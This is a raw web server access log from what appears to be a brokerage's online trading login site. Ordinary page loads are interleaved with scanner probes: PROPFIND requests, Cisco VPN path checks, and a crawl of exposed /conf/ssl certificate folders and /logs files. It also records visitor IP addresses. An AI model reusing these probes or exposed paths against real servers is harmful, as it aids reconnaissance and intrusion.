[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767954458013 HTTP/1.1" 3188
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:18:31:05 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:18:38:37 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:18:41:02 +0800] 146.174.166.229 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/?C=N;O=A HTTP/1.1" 1538
[09/Jan/2026:18:41:42 +0800] 66.249.68.66 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /internettrading/tc/privacy.html HTTP/1.1" 196
[09/Jan/2026:18:41:43 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /internettrading/tc/privacy.html HTTP/1.1" 196
[09/Jan/2026:18:45:47 +0800] 111.225.149.248 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:19:00:11 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:19:01:43 +0800] 112.94.175.158 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:19:05:57 +0800] 204.76.203.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:19:14:29 +0800] 34.249.39.228 - - "GET / HTTP/1.0" 362
[09/Jan/2026:19:22:33 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:19:30:13 +0800] 91.230.168.21 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:19:33:05 +0800] 195.184.76.168 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:19:40:33 +0800] 207.46.13.54 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20250905 HTTP/1.1" 10595474
[09/Jan/2026:19:53:20 +0800] 47.128.52.33 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20241113 HTTP/1.1" 8685423
[09/Jan/2026:19:53:20 +0800] 47.128.52.49 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250829 HTTP/1.1" 10671761
[09/Jan/2026:19:57:36 +0800] 185.189.182.234 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /em9Q HTTP/1.1" 226
[09/Jan/2026:20:01:11 +0800] 167.172.170.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOL+/Java.jar HTTP/1.1" 196
[09/Jan/2026:20:01:13 +0800] 167.172.170.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/logon_forms.js HTTP/1.1" 196
[09/Jan/2026:20:01:14 +0800] 167.172.170.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOL+/a1.jar HTTP/1.1" 196
[09/Jan/2026:20:01:15 +0800] 167.172.170.25 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/transfer.js HTTP/1.1" 196
[09/Jan/2026:20:04:58 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:20:05:39 +0800] 121.229.156.100 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:20:16:01 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:20:31:05 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:20:33:37 +0800] 47.128.43.213 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250711 HTTP/1.1" 17292994
[09/Jan/2026:20:36:40 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:20:36:41 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/text.gif HTTP/1.1" 199
[09/Jan/2026:20:36:41 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/blank.gif HTTP/1.1" 199
[09/Jan/2026:20:36:41 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/folder.gif HTTP/1.1" 199
[09/Jan/2026:20:37:41 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:20:37:41 +0800] 47.128.29.23 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:20:48:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767963164930 HTTP/1.1" 3179
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:20:48:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:20:49:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:20:49:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:20:49:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:21:01:27 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:21:14:19 +0800] 47.128.50.13 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/mime.types HTTP/1.1" 62810
[09/Jan/2026:21:15:08 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:21:22:02 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:21:34:22 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:21:36:41 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:21:36:42 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /apps HTTP/1.1" -
[09/Jan/2026:21:36:42 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /api/action HTTP/1.1" -
[09/Jan/2026:21:36:42 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /api/actions HTTP/1.1" -
[09/Jan/2026:21:36:42 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /_next/data HTTP/1.1" -
[09/Jan/2026:21:36:42 +0800] 54.206.58.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:21:46:19 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:21:56:35 +0800] 20.163.2.53 - - "GET / HTTP/1.0" 362
[09/Jan/2026:21:58:09 +0800] 47.128.35.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20250702 HTTP/1.1" 15044722
[09/Jan/2026:22:06:23 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:22:16:01 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:22:16:03 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:22:16:14 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:22:16:14 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin HTTP/1.1" 236
[09/Jan/2026:22:16:15 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:22:16:15 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 238
[09/Jan/2026:22:16:15 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:22:16:16 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual HTTP/1.1" 239
[09/Jan/2026:22:16:16 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/ HTTP/1.1" 884
[09/Jan/2026:22:16:17 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 237
[09/Jan/2026:22:16:17 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:22:16:17 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert HTTP/1.1" 242
[09/Jan/2026:22:16:18 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/ HTTP/1.1" 1541
[09/Jan/2026:22:16:18 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup HTTP/1.1" 249
[09/Jan/2026:22:16:18 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup/ HTTP/1.1" 1350
[09/Jan/2026:22:16:19 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra HTTP/1.1" 243
[09/Jan/2026:22:16:19 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra/ HTTP/1.1" 4002
[09/Jan/2026:22:16:20 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia HTTP/1.1" 243
[09/Jan/2026:22:16:20 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia/ HTTP/1.1" 1353
[09/Jan/2026:22:16:20 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original HTTP/1.1" 246
[09/Jan/2026:22:16:21 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/ HTTP/1.1" 1753
[09/Jan/2026:22:16:22 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra HTTP/1.1" 252
[09/Jan/2026:22:16:22 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra/ HTTP/1.1" 3341
[09/Jan/2026:22:16:23 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl HTTP/1.1" 241
[09/Jan/2026:22:16:23 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/ HTTP/1.1" 1538
[09/Jan/2026:22:16:23 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024 HTTP/1.1" 252
[09/Jan/2026:22:16:23 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024/ HTTP/1.1" 1355
[09/Jan/2026:22:16:24 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old HTTP/1.1" 245
[09/Jan/2026:22:16:24 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old/ HTTP/1.1" 1124
[09/Jan/2026:22:16:24 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025 HTTP/1.1" 254
[09/Jan/2026:22:16:25 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025/ HTTP/1.1" 1359
[09/Jan/2026:22:16:25 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs HTTP/1.1" 237
[09/Jan/2026:22:16:25 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/ HTTP/1.1" 259905
[09/Jan/2026:22:16:28 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules HTTP/1.1" 240
[09/Jan/2026:22:16:28 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/ HTTP/1.1" 25762
[09/Jan/2026:22:16:30 +0800] 213.209.159.66 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/image HTTP/1.1" 196
[09/Jan/2026:22:16:31 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs HTTP/1.1" 239
[09/Jan/2026:22:16:31 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs/ HTTP/1.1" 46
[09/Jan/2026:22:16:32 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib HTTP/1.1" 236
[09/Jan/2026:22:16:32 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/ HTTP/1.1" 4338
[09/Jan/2026:22:16:46 +0800] 162.142.125.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemap.xml HTTP/1.1" 196
[09/Jan/2026:22:19:02 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:22:24:28 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:22:31:15 +0800] 112.119.100.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
